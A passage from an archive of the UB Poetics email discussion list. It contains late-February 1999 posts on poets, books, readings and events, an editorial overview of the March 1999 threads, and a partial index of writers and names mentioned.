never a hard "d" but a hard "th"
" " " "g" but a throaty "gh"

↑ Index

332. Marjorie Perloff
David Antin
Thu 25 Feb 1999

Re: John Lowther's query and for other interested parties:

I own a copy of KULTUR and a complete run of VORT which is indeed a great mag--the Antin/Rothenberg issue is excellent! I think most big university libraries would have both: I've seen VORT at Stanford in rare book collection and worth looking into. But in the meantime, if you write to David, John, I'm sure he'd send you what you want--tapes too--he is very generous and good about sending his stuff. The early work is very interesting vis-a-vis the later talk poems.

David just gave a talk piece at the new LACMA Humanities Institute as did Jerry Rothenberg. Huge crowd (mayb 300 or so) of people who rarely go these things but it was dubbed as an "art event" and so draws a big crowd. His talk was called "California, the Nervous Camel" and I'll leave it to you to figure out why California = Nervous Camel.

Marjorie Perloff

↑ Index

333. Christopher Reiner
New from AVEC BOOKS
Thu 25 Feb 1999

NEW FROM AVEC BOOKS:

THE AGENCY OF WIND

Poems

BY LAYNIE BROWN

Like the strange and imaginative world of Wonderland, The Agency of Wind is a fanciful tale. "I am traveling on a gold cloud/ where come and go no ships or ships logs" states the girl of The Agency of Wind as she embarks on her journey, a journey that includes encounters with a crane, a windmaker, a domineering doll. The poems and prose poems of The Agency of Wind create a quixotic, enchanted province, where things are not as they appear to be and "all disguises swim."

Which way to the windmaker's door? If you want to know that you'll have to ask the doormaker. A riddling, wind-activated poem describing the transformative adventures of a girl and a crane. Page after page, deckled with light, whistle headfirst into a journey, a conversation, a host of insoluble dilemmas, "questions swept over a chasm." The Agency of Wind yields the imaginative pleasures of a Leonora Carrington painting with the verbal vivacity and exactitude already characteristic of a Laynie Browne.--C.D. Wright

There is an address to and from innocence in Laynie Browne's writing. Her poetry is a key with which to recover a refreshed dreamscape, but there's a catch. With the agency of wind as one's portal and only anchor, there are no doors and locks to fit the key. Instead, one must swallow it through the pupil of one's eye extending a fearlessness and trust in a world where walls "are moving curtains" and "the chairs have blown away." The unnamed "she" discovers a series of portals, all announcing and witnessing in gorgeous detail the ornaments of her own beginnings, "as if a negative were to be placed underneath her skin." --Andrew Levy

The gentle quality of Laynie Browne's prose is perfectly suited for this ethereal tale. --Bernadette Mayer

-

Laynie Browne was born in 1966, and grew up in Los Angeles. She received a B.A. in English Literature from the University of California, Berkeley in 1988, and an M.F.A. from Brown University in 1990. She received a fellowship from the MacDowell Colony in 1992, and was awarded the Gertrude Stein Award in Innovative American Poetry three times between 1993 and 1996. She lives in Seattle.

Poetry * List Price $12 * 125 Pages * ISBN: 1-880713-12-8 * Available from Small Press Distribution and Baker & Taylor

↑ Index

334. Billy Little
Re: long poem / Rosenthal
Thu 25 Feb 1999

Haniel Long santa fe writer 30's-5O's? Harvey Brown I believe republished Interlinear to Cabeza da Vaca in the 60's and likewise If He Can Make Her So also Frontier Press. As far as long poems and american history Homestead 1892 is still a shining example.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

335. david bromige
the longer poem
Thu 25 Feb 1999

Good Grief! There appears no end to the candidates for this important largely male title. It is only fair yo put Listmates on notice that my entire oeuvre is now (by my own fiat, which is what counts) to be regarded as one long poem, The Long Bromige Poem. My published volumes come to upward of 700 pp.,but there are some 300pp as yet unpublished.

This work of a lifetime resembles some other 20th C epics in the strain its widely divergent forms and themes place upon its rubric, but at the same time let us appreciate that its unity is not merely--or at all-- cosmetic.

As to whether it should be considered an American, a Canadian or a British epic, I advocate we think of it as post-American,-Canadian, and -British. Maybe it could be called a World Poetry Disincorporation epic.

You may think the tone of this flip, but if so, so what? That makes this claim no whit less serious.

David

↑ Index

336. nuyopoman
Creeley on MiningCo
Thu 25 Feb 1999

Happy news at http://poetry.miningco.com as Creeley's Bollingen is feted.

Happy news too at http://www.peoplespoetry.org as the People's Poetry Gathering, April 9-11, Lower Manhattan, is unveiled.

Bob Holman

↑ Index

337. A. Jenn Sondheim
i-iii existence meshine
Fri 26 Feb 1999

\

i existence meshine

this text is drawing you out. by which it means [i.e. by which one means]: "l'irruption du pour-soi dans l'Etre comme neantisation de l'en-soi se caracterise comme un mode existentiel irreductible a l'en-soi." (sartre) this existence-meshine draws you out and into existence by virtue of the reading of this text, viral in other words, a drug producing you, pursuing you. /winter wheat/ your technologies - list them. /barley/ YOU FORGET YOU DO NOT HAVE A PAST. [this is the only technology listed.] my you forget you do not have a past. is yours. /maize harvest/ i love your feelings, existence-meshine ... /second harvest oats/ driven by drive-letters, gone gone gone ... /summer wheat/ that runs me out your everywhere! /wild marsh rice/ what do you call your everywhere? /alfalfa and soy/ it is here that you place your name. [this is the only name listed.] it is here [i.e. therefore] that you create your present. /soya beans/ [you do not know you create your present.] [etc.] /millet and sorghum/

ii existence meshine

donkeys and mules and chicks and calves and roosters:
ducks and rabbits and cows and ponies and geese:
chickens and sheep and lambs and goats and horses::
would chickens and sheep and lambs and goats and horses mind you farming and ranching and breeding and planting, roosters and pigs and buffalo and colts and piglets,
with us?

iii and final existence meshine existence meshine gets derailed to relive and relieve the history of agri- culture as we begin to plant and breed across the world, how much we grew up loving and reading on farming and Pony and Cow. now you will see how planting gave loving and reading on living way to meat and flesh animals, and how these animals took over from existence meshine busy creating and loving someone reading stories and texts and whatever else might be placed in the very first row creating consciousness with the prefabrication of a past. with the invention of a past. with no past at all. with just-being- past. with no past at all. call this iii and final existence meshine and you will see how the world works now and how it has always worked but we only know that now, how it works, and how it works by derailment.

the end of existence meshine.

↑ Index

338. J Kimball
Another word on / for William Bronk
Fri 26 Feb 1999

"Death has given up thinking."

-- Cid Corman, recorded in 1998, in answer to William Bronk's _All of What We Love_.

You can hear Cid's poems in tribute to his friend William Bronk at the following URL:

<http://www.geocities.com/~theeastvillage/a2/corman/a.htm>.

In each of four audio clips Cid first reads a short poem from _All of What We Love_ -- the call -- and then gives a response. Something approaching love between long-estranged friends circulates from poem to poem.

↑ Index

339. Rebecca Wolff
Re: long poem / Rosenthal
Fri 26 Feb 1999

One Life, by Rukeyser, is hard to define: it is a biographical text in poem and prose, also including documentary materials, all on the life of Wendell Willkie.

Check out Fence #2 (still available in bookstores and at SPD and from me) for an excerpt and with an introduction by Jan Heller Levi, editor of A Muriel Rukeyser Reader and of a forthcoming biography of the poet herself.

↑ Index

340. Michael Scharf
Montale in NYTBR
Fri 26 Feb 1999

I'm on digest, so this may have been addressed already, but, Steve S., the NYTBR devoted its cover and a near-gatefold to Jonathan Galassi's translation of Montale not, we must assume, because the merits of Galassi's translation or of Montale's work moved Chip McGrath to do so, but because Galassi is a mover and shaker at the Academy of American Poets, and at the publishing entity known as Farrar, Straus & Giroux.

If I am remembering correctly, the piece's ID of Galassi was simply as "a poet." I don't doubt Galassi's seriousness about the work. But one would think the review would have come clean. Book editors and book review editors eat this stuff up though -- when a local boy or girl makes good and actually produces something, they like to give him or her a little fete.

I think in the last year, the NYTBR has reviewed books of poems by Deborah Garrison (an editor at the New Yorker), Mark Strand (reviewed by Deborah Garrison), Geoffrey Hill (angry Brit.), Frieda Hughes (human interest). Am I forgetting anyone? A serious failure of editorial imagination.

Good naturedly -Mike ps -- I think Jim Holt is in his 30s.

↑ Index

341. Loss Pequen~o Glazier
Kenneth Goldsmith: Live at Hallwall's
Fri 26 Feb 1999

Kenneth Goldsmith:

Live at Hallwall's

Buffalo, 23 February 1999

A small but fervent crowd was on hand for Goldsmith's reading, including poets and readers from Buffalo, its outlying areas, and a welcome contingent of Canadian poets, including Darren Wershler-Henry and Christian Bok, who had braved the single digit jet-black trek from Toronto for the occasion of Goldsmith's visit.

The reading, in a renovated factory nestled within walking distance of a basement where Coltrane once played and an old-Buffalo bar once known for its crowd of poets, was a dense work unfolding in sections drawn almost entirely from Goldsmith's No. 111. These often dissonant, engaging passages staggered forward in an evolution of increasing accessibility of semantic value. Goldsmith began early in his big book, his reading being born from guttural, gibberish phonemes, conglomerate rocks emerging into the light of a primordial verbal dawn, an alphabet being born or an infant's first experiments with sound. Even more striking was the way the sounds seemed to grow, elongate, the way an orchestra's random and chaotic warm up almost instantaneously leads, upon a conductor's tap tap on a music stand, into Beethoven or Mozart or another opus.

The tap tap of Goldsmith's voice, emerging from its symbolic birth as it advanced dog-eared into chapters deeper into No. 111 revealed, however, not the unity or symmetry of a symphony, but a wry, in turned, and self-ironic portrayal of what humans say and what humans write. Without context, and amid layered passages of words, sounds, and vocalizations, and the physical dynamic of Goldsmith's body making words, snips and runs of meaning emerged. As if they were things blurted out or strange things that you might find on scraps of paper on the ground, it was a revelation of quirks of language and hyperextensions of meanings that filled the theater with ionized sound fragments trained like a spotlight.

There were times the audience couldn't stop laughing. Many times the audience was caught by surprise, as a seeming progression of ideas was suddenly caught off-guard by a sudden turn at a verbal corner. There were moments of strange, almost pained, sound fabrics. And moments of hilarity.

It was a reading that celebrated the possibilities of the oddities of our common medium, language, one that left no reader without something to take home. Amazingly, all this came from only a handful of pages from a book made up of hundreds. This surely should send any interested person to the book, for there are yet many sounds to come forth.

↑ Index

342. D Baratier

Re: long poem / Rosenthal

Fri 26 Feb 1999

Haniel Long-----

Wow! Thought he was forgotten. Haniel believed that an emphasis on the regional would lead to forms of poetry and foster the growth of American Literature. This was in the twenties out in NM. His work Pittsburgh Memoranda, re-released on U Pitt about 10 years ago, uses many forms of documentation and seriality which started to appear in the poetries of Rukeyser, WC Williams, and Rezinikoff in the years after, perhaps was an influence though difficult to assert. The press was called Writer's Editions in Santa Fe started with a few others in the 20's.

Be well

David Baratier

↑ Index

343. Mairead Byrne
Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
Fri 26 Feb 1999

It's finally come to me! One Life is the Wendell Wilkie book, is that right? You may be right, Burt, but your "definitely" is very questionable. At least Rukeyser's most recent publishers Paris Press consider One Life to be, wait for it -- PROSE (witness their classification of the book on page 141 of their edition of The Orgy, 1997). Mairead

On Thu, 25 Feb 1999, Burt Hatlen wrote:

> Re: David Baratier
>
> Rukeyser's _One Life_ definitely IS a long poem (book length, combining prose and verse). I was very pleased to see it on this list--another "disappeared" masterwork of our century.
>
> Burt Hatlen

↑ Index

344. Poetry Project
This week at the Poetry Project
Fri 26 Feb 1999

COMING UP MARCH 1-5

Monday, March 1 -- open mic, sign up at 7:30, reading at 8pm

Wednesday, March 3 -- Joanne Kyger & Gerrit Lansing
(Two of our best poets, both of whom rarely read in New York City)
8:00 pm

Friday, March 5, -- Poetry & Music, featuring performances by Alice B. Talkless & Amy Mayhem, Ed Friedman, Rebecca Moore, David Greenberg, & Lisa Karrer
10:30 pm

[redacted] for further information

↑ Index

345. Magdalena Zurawski
WKCR 89.9
Fri 26 Feb 1999

Anselm Berrigan

&

Magdalena Zurawski

Read Poetry and Perform Unseen Acts

at 8:30pm on WKCR 89.9 FM

New York City

Sunday, February 28, 1999

<bold>Magdalena Zurawski

Executive Development Programs

Stern School of Business

</bold>44 W. 4th Street

New York, NY 10012-1126

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

tel: [redacted]

fax: [redacted]

Departmental E-mail: [redacted]

Website: www.stern.nyu.edu/executive

↑ Index

346. Charles Bernstein
Richard Foreman
Sat 27 Feb 1999

Richard Foreman's newest play, Paradise Hotel, is running through April 4 in New York and is highly recommended. But I wanted here to call attention to his new website

http://www.foreman.ontological.com/

While this site has some general information about Foreman's theater and information about the current production, what is most interesting, and very unusual, is that Foreman has put up many of his unedited/uncorrected texts
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(scores of pages) and he is offering them up to theater directors to make their own plays -- encouraging them to create contexts, characters, to reorder the lines or cut according to the needs of the performance. In any case, the texts make from great reading -- and in their present form many resemble, perhaps are, poems.

Charles Bernstein

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

March 1999

401 messages · Thu 25 Feb 1999 – Wed 31 Mar 1999

March began by taking its toll of the elders. Within a single week Stanley Kubrick, Joe DiMaggio, and the Argentine fabulist Adolfo Bioy Casares were gone, and Pierre Joris, forwarding the last of these, could only note that yet another had “called it splitsville.” George Bowering mourned Bioy as his oldest Latin American love, the maker of labyrinths one hardly dared finish; and the list, still fresh from Armand Schwerner’s death the month before, settled again into the particular hush it keeps for the departed before rousing itself, as it always does, to argue.

And argue it did, first about women. Early in the month a good part of the list decamped to La Jolla for the Page Mothers conference — three days at UCSD given over to the matrilineage of experimental writing, Rae Armantrout and Fanny Howe reading into the California evening. Those who stayed home demanded reports and got them: the novelist dbkk filed his dispatch from “an oblique, Jamesian angle,” disqualifying himself as a mere male observer, while Elizabeth Treadwell relayed the conference’s sharpest anxiety — the fear, as she put it, of “women losing whatever ground we’ve gained.”

That worry bled straight into the month’s largest and most personal quarrel, which began as a question about class and would not let anyone stay abstract. Kathy Lou Schultz set the tone with a working-class credo the thread could not shake — “I can smell class. I can sniff it out.” — and the room divided over whether such knowledge was a weapon or a wound. Mark Weiss recalled the Brooklyn stoop-sitters who quizzed and classified him without malice; David Baratier answered with two flat words he handed straight to Gertrude Stein, “Survival is survival”; and Rebecca Wolff drew her line at biography, refusing to want to know “what Susan Howe’s family home was like.”

Threaded through all of it ran the oldest question of the room, posed this time without embarrassment: what is poetry for? Mark Prejsnar listed the usual bad answers — that it would pay for the kids’ college, or save humanity — and set them aside; Tom Beckett cut through with the plainest reply the archive holds, that “poetry is for love,” the fundamental science, as he called it, of emotional-epistemic investigation. It is the kind of sentence the list produces once a season and then spends forty posts trying to complicate.

And then, on the twenty-fourth, the arguing stopped. NATO’s bombs began to fall on Belgrade, and within hours the war was inside the room — not as news but as mail. Charles Bernstein forwarded a message from Dubravka Djuric, a poet and translator writing from the city itself, relaying word from the Belgrade pacifists in an English roughened by fear and haste, closing only with “i hope i will write.” The list that had spent the month deciding what poetry was for received, from a poet under the bombs, its answer: that it is a line kept open to another human being after everything else has been cut. I have set the conference and the class-war and the deaths in the order they arrived, and let Dubravka’s broken, indispensable sentences fall where they fell — last, and from the dark.

— Kristen M. Fabians

Index

Writers, names mentioned, and concepts. Every number links to its message. 401 in all.

WRITERS

Acgold01 81
Administration, Poetics List 136, 199, 218, 225, 236, 237, 238
Aerialedge 255, 311
Alexander, Charles 47, 166, 209, 364, 365
And, Miekal 36, 52, 69, 104, 111, 113, 142, 164, 168, 170, 259, 297, 367
ANDREWS, BETSY 30, 208, 321, 378
Andrews, Bruce 112
Archambeau, Robert 108, 234
Baratier, David 60, 130, 389, 401
Basan, Ben 332
Battin, Wendy 109
Beckett, Tom 83, 121, 167, 174, 278
Bedford, Juan S. Amador 22
Bell, Thomas 299
Bernstein, Charles 153, 215, 243, 392
Bibby, Michael W 193
Boughn, Michael 387
Bourbeau, Lisa 158
Bowering, George 4, 50, 64, 88, 127, 271
Brady, Taylor 374
Bromige, David 27, 28, 67, 118, 152, 177, 178, 256, 331, 333
Brown, Lee Ann 29, 116
Brown, Pam 320
Bruno, Franklin 122
Byrd, Don 270
Byrne, Mairead 39, 327, 362, 379
Carfagna, Richard 200, 314
Cayley, John 223, 235
Chai, Nora 252
Cheek, Cris 185
Cheney, Don 96
CHERNOFF, MAXINE 124, 241
Clay, Steven 95, 358
Clippinger, David 117
Cope, Stephen 399
Crawford, Holly 159
Cronin, Margie 268
Crown, Kathleen 285
Daley, R M 176
Daly, Catherine 7, 43, 131, 312, 394
Damon, Maria 38, 71, 114, 144, 172, 173, 190, 192, 230, 292, 376
Damon), Maria Damon (Maria 132, 133, 135, 371
Davis, Jordan 275
Dbkk 143, 156, 175, 202, 262, 313, 317
Degentesh, Katie 139, 206, 301
Devenney, Christopher M 227
Douglas 21
Dubravka 330
Durand, Marcella 353
Epstein, Andrew D 16
Erben, David L. 248, 380
Eric Gleason, Aka Agent Sunshine 73
Ferguson, Jamie 15
Fleisher, Joe Amato/Kass 274, 359
Fodaski, Elizabeth 205
Foster, Edward 204
Freedman, Robert 370
Ganick, Peter 129
Glazier, Loss Pequen~o 386
Gleason, Eryque 277
Green, Tony 300, 351, 372, 391
Hatlen, Burt 250
Heller, Michael 6
Henning, Barbara 361
Huppatz, D.j. 398
Jenkins, Grant 272, 279, 302, 345
JOHNSON, KENT 395
Joris, Pierre 3, 119, 382
Joseph, Safdie 84, 99
Kaipa, Summi 360
Kalleberg, Garrett 48, 154, 323, 324
Kane, Daniel 90, 141
Kathylou 340, 342, 373, 390
Kellogg, David 58
Ken|n|ing 368
Kirschenbaum, Matt 123
Kozaitis, Anastasios 134
KRAMER, WENDY 9, 276, 295
Kuszai, J 179
Laity, Cassandra 212, 226
Lennon, Brian 228
Levitsky, Rachel 87, 305, 306, 308
List, Poetics 19, 20, 23, 37, 53, 54, 70, 89, 260, 293, 363, 383
Little, Billy 13, 59, 201, 266, 267
Loden, Rachel 115
Loucks, James 120
Lowther,John 75, 76, 85, 94, 146, 147, 162, 165, 180, 273, 284, 316, 319, 341, 369
Lucas, Brian 72
Magee, Kevin L. 51, 137, 198, 219, 257, 310, 329, 346
Magee, Michael 385
Marks, Steven 197
Maz881 220, 254, 338
McColl, Michael 1, 191
McDonough, Judy Smith 110

McKevitt, Karen 8, 232
Minter, Peter 101
Moriarty, Laura 251
Morrow, Charlie 253
Nathanson, Tenney 288
Neufeld, Pete 79, 283, 286
Nuyopoman 161, 194
O'Connell, Gerald 169
Obenzinger, Hilton Manfred 55, 56
Orange, Tom 263, 264, 315
Perez, James 242
Perloff, Marjorie 2
Piuma, Chris 65
Pollet, Sylvester 78, 106, 393
Pompeii, Jessica 33, 343
Prejsnar, Mark 25, 26, 239, 261, 294, 298, 366
Press, Derek Beaulieu / House 181, 195, 231, 318, 347, 397
Pritchett,Patrick 32, 63, 93
Project, Poetry 61, 97, 145, 155, 157, 213, 246, 337, 339
Rachel 12
Raea100900 187, 240
Rathmann, Andrew 281
Readers, Todd Baron /*/ ReMap 184
Reiner, Christopher 229
Rice, Doug 160
Roitman, Judy 92, 203
Ross, Joe 46
Roy, Megan Minka Lola Camille 107
Russo, Linda 77, 224, 287, 303, 304
Schaefer, P.Standard 148, 265, 269, 282, 325, 326
Scharf, Michael 49
Scheindlin, Noam 377
Schiff, Harris 381
Schuchat 244
Schultz, Kathy Lou 182, 183, 221, 233, 328
Schultz, Susan M. 188
Schwartz, Gerald 388
Sharma, Prageeta 80
Sherwood, Kenneth 17
Shoemaker, Steven 57
Silliman, Ron 44, 45, 102, 211
Slaughter, William 68
Sondheim, A. Jenn 10, 34, 100, 128, 150, 189, 210, 214, 249, 289, 307, 357
Spahr, Juliana 35, 138
Spence, Pete 31, 66, 126, 322
Stroffolino, Louis 11, 24, 42, 355, 356
Svp 350
Sweet, Erik 82
Teichman, Harold 14, 354
Thomas, Heather H 18
Tiess, Robert J. 171
Tietz, Ward 105
Toscano, Rodrigo 40
Tranter, John 125, 222, 247
Travmar03 336, 384
Treadwell, Elizabeth 98, 149, 196, 216, 245
Tremblay-McGaw, R. 296
Tuma, Keith 41
Upton., Lawrence 258
Wall, Chris 348
Wallace, Mark 91
Weiss, Irving 352
Weiss, Mark 5, 140, 151, 163, 207, 217, 280, 309, 396
Wellman, Don 375
West, Bobbie 344
Wheeler, Susan 349
Wolff, Rebecca 74, 103, 290, 291, 334, 335, 400
Zauhar, David 62
Zervos, Komninos 86, 186

NAMES MENTIONED

Acker, Kathy 160, 317
Adorno, Theodor 261, 310
Ahearn, Barry 78
Aitken, Adam 268, 320
Albon, George 265
Albright, Madeline 18, 24, 42, 255
Alexander, Christopher W. 53, 54
Alice, Mary 97, 128, 206, 231, 311
Allan, Edgar 194
Allison, Dorothy 243, 344
Altieri, Charles 212, 243
Altmann, Ruth 377
Americans, Asian 20, 128, 231, 280, 282, 306
Amerika, Mark 86
Anderson, Erik 128, 130, 156, 231
Andrews, Jim 76
Anne, Sarah 206
Antin, David 1, 17, 175, 185, 220, 399
Arbor, Ann 128, 231, 306
Armand, Louis 253, 399
Armantrout, Rae 22, 46, 136, 143, 149, 163, 175, 187, 240, 243, 251, 255
Ashbery, John 90, 91, 255, 268, 280, 288, 311, 355, 366
Ashton, Jennifer 159
Atlanta, Mark P. 60, 284, 306, 369
Auden, W. H. 12
Augustine, Jane 6, 30
Auster, Paul 255
Austin, Geer 20, 115, 124, 128, 231, 246, 306
Baker, Lori 212
Balaz, Joe 35
Ballerini, Luigi 148, 265
Baptiste, David 19, 31
Baratier, Dave 331
Barnard, Mary 101, 179, 208, 224, 243, 293, 339, 356, 365, 371

Barnes, Diane 128, 231
Barnett, Anthony 130
Barton, John 132
Basan, Benjamin 332
Basinski, Michael 236, 363
Basinski, Mike 236, 363
Bates, Joe 143
Beach, Christopher 255
Becker, Robin 306
Bedient, Calvin 243
Bee, Susan 255
Bellamy, Dodie 46, 65, 143, 156, 175, 221
Benjamin, Walter 108, 306
Bennett, Bill 265
Bennett, John M. 22, 82
Berger, Jonathan 157, 246
Berkeley, Michael 27, 50, 98, 132, 139, 143, 149, 156, 163, 179, 196, 216, 233, 241, 245, 306
Berkson, Bill 97
Berlin, Irving 73, 306
Bernard, Kenneth 253, 268
Bernstein, Emma 76, 179, 209, 239, 288
Berrigan, Anselm 16, 145, 155, 213, 255, 311, 323, 337, 368
Berrigan, Anslem 311
Berrigan, Edmund 323
Berrigan, Ted 311
Berry, Jake 23, 160, 369
Birmingham, Jed 225, 306
Bishop, Elizabeth 22
Blackburn, Paul 125, 135
Blake, William 41, 123, 198, 394
Blanchot, Maurice 3, 25, 39, 119, 255, 382
Blaser, Robin 113, 137
Blau, Rachel 46, 149, 212, 226, 243, 368
Bloch, Julia 261
Bly, Robert 209, 339
Bok, Christian 223
Bolton, Ken 320
Bonney, Sean 206
Bouchard, Daniel 368
Bowie, David 143
Boyle, Kay 156
BpNichol 29, 113, 181
Brady, Andrea 16
Brashear, Jim 182
Brecht, Bertolt 51, 239
Bridwell, Tom 389
Brito, Manuel 22
Bronk, Bill 5, 140
Bronk, William 140
Brook, James 306
Brooks, Gwendolyn 22, 243
Brossard, Nicole 246
Burger, Mary 128, 156, 175, 213, 231
Burkhardt, Rick 175
Burns, Robert 194
Burroughs, William S. 22
Buuck, David 233, 241
Byrd, Bobby 133
Byron, Philip 42
Caddel, Richard 268
Cage, John 73, 136, 311, 319
Campbell, Jeremy 95
Caples, Garrett 265
Carr, Julie 141
Carroll, John 161
Carroll, Lewis 41, 170
Carson, Anne 286
Cartelli, Donna 377
Catullus 311
Cervantes, James 119
Chadwick, Lynn 156, 175
Chaucer, Geoffrey 15
Child, Abigail 360, 374, 390
Chomsky, Noam 20, 306, 395
Clar, Jorge 82
Clark, Emilie 306, 358
Clark, Jeff 61
Cleaver, Kathleen 306
Clinton, Bill 306
Cobbing, Bob 258, 350
Cocteau, Jean 219, 324
Cohen, Ethan 132, 268
Coleman, Jen 4, 366
Coleman, Victor 27
Collom, Jack 255
Columbus, Christopher 130, 306, 389
Comments, Poets 306
Conant, Jeff 255
Cone, Jon 368
Connor, Bruce 336, 384
Conrad, Tony 63
Coolidge, Clark 82, 255
Cooper, Dennis 29, 116, 194, 288
Cooper, Lisa 255
Coultas, Brenda 82, 243, 339
County, Madison 18, 24, 42, 86, 132
Crane, Lee 198
Creeley, Bob 84
Creeley, Robert 99, 255, 280, 294, 393
Crosson, Robert 229
Crumpacker, Caroline 243
Cunningham, Brent 368
Cunningham, John 85
Curtay, Paul 382
Curtis, Dana 206
Czury, Craig 24, 42
Daley, Ryan 176, 331
Darragh, Tina 311, 368
Davey, Frank 231
Davidson, Michael 175, 255, 399
Davies, Kevin 29, 120

Davis, Martin 255, 306, 369
Debrot, Jacques 265
Deleuze, Gilles 249
Delville, Michel 108
Dennis, Carl 16, 148, 255, 265
Derksen, Jeff 218
Derkson, Jeff 29
Derrida, Jacques 288, 323, 369
Desmond, Rae 320
Devaney, Tom 213
Dickey, Eric 284
Dickinson, Emily 316, 321, 355, 366
Dickinson, Mark 283, 302, 316, 321, 355, 366
Dienstfrey, Patricia 143, 156, 175
Dine, Jim 288
Djuric, Dubravka 330, 372, 392
Donnelly, Jean 311
Doris, Stacy 324
Dorn, Edward 393
Dorward, Nate 41
Downing, Brandon 206
Drucker, Johanna 237, 238, 391
Duncan, Robert 48, 84, 99, 154, 219, 266, 323
Durgin, Patrick F. 368
Dutton, Paul 105, 350
Duwell, Martin 320
Dworkin, Craig 243
Eigner, Larry 92, 203
Eliot, Joe 212, 226, 242
Ellis, Stephen 212, 331, 389
Emerson, Claudia 319
Empson, William 120
England, Amy 73, 119, 120, 268, 306, 333
Enslin, Ted 200, 250, 393
Eugene, Brett 206
Evans, Bill 108, 249
Evans, Peter 249
Fagan, Kate 243
Fagin, Larry 255
Farrell, Dan 213
Federman, Ray 160
Feinberg, Leslie 306
Ferguson, Jesse 41
Finch, Annie 243, 389
Fisher, Allen 41
Fisher, Harrison 311
Fitterman, Robert 213, 311
Flanagan, Bob 175
Foley, Jack 369
Foley, Patrick 369
Forbes, John 320
Foreman, Richard 137
France, Peter 105, 265, 306, 346
Fraser, Ian 223, 303
Fraser, Kathleen 143, 156, 175, 183, 296
Friedlander, Ben 179
Friedman, David M. 97, 212
Friedman, Michael 255
Frost, Corey 128, 231
Frost, Elizabeth 243
Fuchs, Greg 213, 336, 384
Fuller, Heather 311, 323
Gallo, Philip 95
Gander, Forrest 268
Garcia, Rodrigo 18, 24, 42, 127, 134
Garrison, Deborah 128, 231
Gevirtz, Susan 156, 175, 317
Gibson, Morgan 212
Gilbert, Alan 323
Gilbert, Jack 35
Gilbert, Susan 202
Ginsberg, Allen 99, 194, 246, 279
Giscombe, Cecil 262
Gizzi, Michael 255, 312
Gizzi, Peter 256
Gladman, Renee 97, 175, 179, 219, 262
Glass, Jesse 23
Gluck, Bob 182
Glück, Louise 280
Goldberg, Michael 157
Golding, Alan 243
Goldman, Emma 255
Gonzalez, Ray 161
Good, Phil 82
Gordon, Robert 213
Gottlieb, Michael 368
Gould, Glenn 219
Gould, Henry 154, 219
Graham, Jorie 243, 280
Graham, Lea 243, 280
Greenberg, Arielle 97
Greenwald, Ted 255
Gregg, Linda 35
Gregory, Dick 128, 206, 213, 231
Grenier, Bob 156
Grossman, Emily 265
Gudath, Lauren 175
Guest, Barbara 116, 243
Guthrie, Camille 213, 265
Hale, Robert 265
Hall, Donald 60
Hamilton, Robin 306
Hammial, Philip 320
Hampton, Fred 68
Hardin, Rob 160
Harris, Kaplan 381
Harryman, Carla 22, 143, 156, 175, 179, 255, 311
Harvey, Roy 399
Healy, Randolph 234
Heath, Jennifer 318
Heidsieck, Bernard 105
Hejinian, Lyn 143, 156, 175, 243, 255, 282, 293, 303, 311, 358, 368, 399

Heller, Mike 253
Helms, Jesse 144
Henri, Charles 14
Herman, Rachel 20, 395
Hernandez, Victor 246, 339
Higgins, Billy 115, 124
Hillman, Brenda 143, 156, 175, 243
Hirshfield, Jane 209
Hofer, Jen 46, 175, 179, 265, 323
Hogue, Cynthia 243
Holbrook, Susan 369
Hollander, John 280
Hollo, Anselm 63, 255
Holman, Bob 69, 161, 194, 280
Holst, Spencer 253
Hoover, Edgar 265
Hoover, Paul 108, 115, 124, 241
House, Poets 194, 253, 339
House, White 378, 383
Howard, Scott 20, 60, 255, 280
Howe, Susan 239, 243, 272, 302, 316, 321, 328, 340, 355, 366, 400
Hunt, Erica 202, 251
Hunter, Robert 231, 306
Iijima, Brenda 82, 196
Indiana, Robert 132
Irvine, James 128, 231
Ives, Charles 319
Jackson, Jesse 243, 391
Jacob, Max 106, 120
Jaffe, Larry 331
Jarnot, Lisa 154, 219, 255, 323, 368
Jeanne, Sarah 80, 253
Jenkins, Matthew 2, 328
Jennings, Peter 120
Johns, Jasper 85, 288
Johnson, Ray 276, 295, 322, 341, 359
Johnston, Devin 281
Jones, Brian 161, 320
Jones, Chris 350
Joyce, Trevor 22, 91, 149, 234, 243
Jullich, Jeffrey 243
Kafka, Franz 128, 231
Kasper, Catherine 243
Kaufman, Bob 292
Keller, Lynn 156, 243
Kelly, Patrick 268, 321, 355, 366
Kelly, Robert 393
Kelsey, Karla 143, 183, 232, 255
Kerouac, Jack 63
Kerry, John 18, 24, 42, 320
Ketch, Shannon 61
Khlebnikov, Velimir 19, 31
Killian, Kevin 95, 143, 149, 156, 163, 175, 179, 313, 399
Kim, Myung Mi 143, 156, 175
King, Stephen 57, 76
Kinnell, Galway 194
Kinsella, John 320
Kirschenbaum, Matthew 123
Kizer, Carolyn 280
Klein, Lucas 253
Koch, Kenneth 16, 82
Kostelanetz, Richard 85
Kristeva, Julia 243
Kroetsch, Robert 27, 50
Kumin, Maxine 280
Kushner, Bill 377
Kuszai, Joel 175
Kyger, Joanne 72, 87
Lamantia, Philip 7, 21, 246
Larsen, David 219
Latta, John 82
Laughlin, James 219
Lauterbach, Ann 156, 243, 246
Lavender, Bill 369
Lazer, Hank 369
Lederer, Katy 97, 155
Lehman, David 268
Lenhart, Gary 16
Leonard, Tom 212, 306
Levine, Jeffrey 11, 26, 44, 81, 119
Levine, Phil 81
Levy, Andrew 368
Lewin, Anya 374, 390
Lewis, Bernard 82, 212
Lindberg, Kathryne 212
Logan, William 95, 243
London, Frank 108, 109, 120, 170, 212, 231, 247, 258, 306, 331, 350, 351, 354
London, Jack 179
Lopez, Tony 18, 24, 42, 194, 268
Lorca, Federico García 18, 24, 42
Lorde, Audre 22
Mac Low, Jackson 253
Lundquist, Sara 243
Luoma, Bill 46, 175, 254, 275, 303, 368
Luther, Martin 284
Lyons, Kim 18, 24, 42, 243, 339
Machlin, Daniel 154, 219, 323
Mackey, Nathaniel 9, 255, 368
Madge, Charles 120
Madigan, Michele 377
Madison, James 3, 25, 39, 119, 306, 382
Magee, Kevin L. 51, 137, 198, 219, 257, 310, 329, 346
Malcolm, Janet 132, 196
Mallarmé, Stéphane 82
Mangold, Sarah 79, 89
Manning, Nicholas 306
Marie, Anne 324
Marsh, Bill 18, 24, 42, 179
Marsh, William 82
